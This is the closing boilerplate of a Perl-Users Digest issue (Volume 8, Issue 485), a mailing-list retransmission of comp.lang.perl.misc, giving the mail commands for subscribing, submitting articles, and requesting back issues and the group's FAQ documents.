The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.
The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V8 Issue 485
*************************************